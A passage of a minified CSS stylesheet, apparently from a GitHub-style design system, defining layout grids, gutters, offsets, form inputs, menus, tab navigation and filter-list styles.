.write-content,.previewable-comment-form.preview-selected .preview-content{display:block}.previewable-comment-form textarea{display:block;width:100%;min-height:100px;max-height:500px;padding:8px;resize:vertical}.form-action-spacious{margin-top:10px}div.composer{margin-top:0;border:0}.composer .comment-form-textarea{height:200px;min-height:200px}.composer .tabnav{margin:0 0 10px}h2.account{margin:15px 0 0;font-size:18px;font-weight:400;color:var(--color-fg-muted)}p.explain{position:relative;font-size:12px;color:var(--color-fg-muted)}p.explain strong{color:var(--color-fg-default)}p.explain .octicon{margin-right:5px;color:var(--color-fg-muted)}p.explain .minibutton{top:-4px;float:right}.form-group label{position:static}.input-group{display:table}.input-group .form-control{position:relative;width:100%}.input-group .form-control:focus{z-index:2}.input-group .form-control+.btn{margin-left:0}.input-group.inline{display:inline-table}.input-group:focus-within button{outline-offset:0}.input-group .form-control.autocomplete-embedded-icon-wrap{display:inline-flex;padding:5px 8px}.input-group .form-control,.input-group-button{display:table-cell}.input-group-button{width:1%;vertical-align:middle}.input-group-button--autocomplete-embedded-icon{vertical-align:bottom}.input-group .form-control:first-child,.input-group-button:first-child .btn{border-top-right-radius:0;border-bottom-right-radius:0}.input-group-button:first-child .btn{margin-right:-1px}.input-group .form-control:last-child,.input-group-button:last-child .btn{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-button:last-child .btn{margin-left:-1px}.radio-group::before{display:table;content:""}.radio-group::after{display:table;clear:both;content:""}.radio-label{float:left;padding:6px 16px 6px 36px;margin-left:-1px;font-size:14px;line-height:20px;color:var(--color-fg-default);cursor:pointer;border:1px solid var(--color-border-default)}:checked+.radio-label{position:relative;z-index:1;border-color:var(--color-accent-emphasis)}.radio-label:first-of-type{margin-left:0;border-top-left-radius:6px;border-bottom-left-radius:6px}.radio-label:last-of-type{border-top-right-radius:6px;border-bottom-right-radius:6px}.radio-label .octicon{margin-left:4px;color:var(--color-fg-subtle)}.radio-input{z-index:3;float:left;margin:10px -32px 0 16px}.radio-input:disabled{position:relative}.radio-input:disabled+.radio-label{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.radio-input:disabled+.radio-label .octicon{color:inherit}.container-sm{max-width:544px;margin-right:auto;margin-left:auto}.container-md{max-width:768px;margin-right:auto;margin-left:auto}.container-lg{max-width:1012px;margin-right:auto;margin-left:auto}.container-xl{max-width:1280px;margin-right:auto;margin-left:auto}.col-1{width:8.33333333%}.col-2{width:16.66666666%}.col-3{width:24.99999999%}.col-4{width:33.33333332%}.col-5{width:41.66666665%}.col-6{width:49.99999998%}.col-7{width:58.33333331%}.col-8{width:66.66666664%}.col-9{width:74.99999997%}.col-10{width:83.3333333%}.col-11{width:91.66666663%}.col-12{width:100%}@media(min-width: 544px){.col-sm-1{width:8.33333333%}.col-sm-2{width:16.66666666%}.col-sm-3{width:24.99999999%}.col-sm-4{width:33.33333332%}.col-sm-5{width:41.66666665%}.col-sm-6{width:49.99999998%}.col-sm-7{width:58.33333331%}.col-sm-8{width:66.66666664%}.col-sm-9{width:74.99999997%}.col-sm-10{width:83.3333333%}.col-sm-11{width:91.66666663%}.col-sm-12{width:100%}}@media(min-width: 768px){.col-md-1{width:8.33333333%}.col-md-2{width:16.66666666%}.col-md-3{width:24.99999999%}.col-md-4{width:33.33333332%}.col-md-5{width:41.66666665%}.col-md-6{width:49.99999998%}.col-md-7{width:58.33333331%}.col-md-8{width:66.66666664%}.col-md-9{width:74.99999997%}.col-md-10{width:83.3333333%}.col-md-11{width:91.66666663%}.col-md-12{width:100%}}@media(min-width: 1012px){.col-lg-1{width:8.33333333%}.col-lg-2{width:16.66666666%}.col-lg-3{width:24.99999999%}.col-lg-4{width:33.33333332%}.col-lg-5{width:41.66666665%}.col-lg-6{width:49.99999998%}.col-lg-7{width:58.33333331%}.col-lg-8{width:66.66666664%}.col-lg-9{width:74.99999997%}.col-lg-10{width:83.3333333%}.col-lg-11{width:91.66666663%}.col-lg-12{width:100%}}@media(min-width: 1280px){.col-xl-1{width:8.33333333%}.col-xl-2{width:16.66666666%}.col-xl-3{width:24.99999999%}.col-xl-4{width:33.33333332%}.col-xl-5{width:41.66666665%}.col-xl-6{width:49.99999998%}.col-xl-7{width:58.33333331%}.col-xl-8{width:66.66666664%}.col-xl-9{width:74.99999997%}.col-xl-10{width:83.3333333%}.col-xl-11{width:91.66666663%}.col-xl-12{width:100%}}.gutter{margin-right:-16px;margin-left:-16px}.gutter>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item 